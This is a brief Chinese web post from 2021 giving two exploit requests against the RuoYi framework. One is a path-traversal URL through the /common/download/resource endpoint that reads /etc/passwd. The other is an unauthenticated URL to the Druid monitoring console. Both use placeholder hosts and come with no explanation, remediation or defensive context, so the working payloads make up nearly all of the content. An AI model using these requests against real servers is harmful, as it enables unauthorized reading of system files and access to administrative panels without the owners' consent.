若依_任意文件讀取&未授權訪問漏洞-棉花糖会员站

若依_任意文件讀取&未授權訪問漏洞

2021年7月15日发布

0690

# 若依任意文件讀取&未授權訪問漏洞
==任意文件讀取==

https://xxx.xxx.xxx.xxx/common/download/resource?resource=/profile/../../../../etc/passwd

==未授權訪問==

http://xxx.xxx.xxx.xxx/prod-api/druid/index.html

© 版权声明

文章版权归作者所有，未经允许请勿转载。

THE END

喜欢就支持一下吧

相关推荐

评论抢沙发

请登录后发表评论

请登录后查看评论内容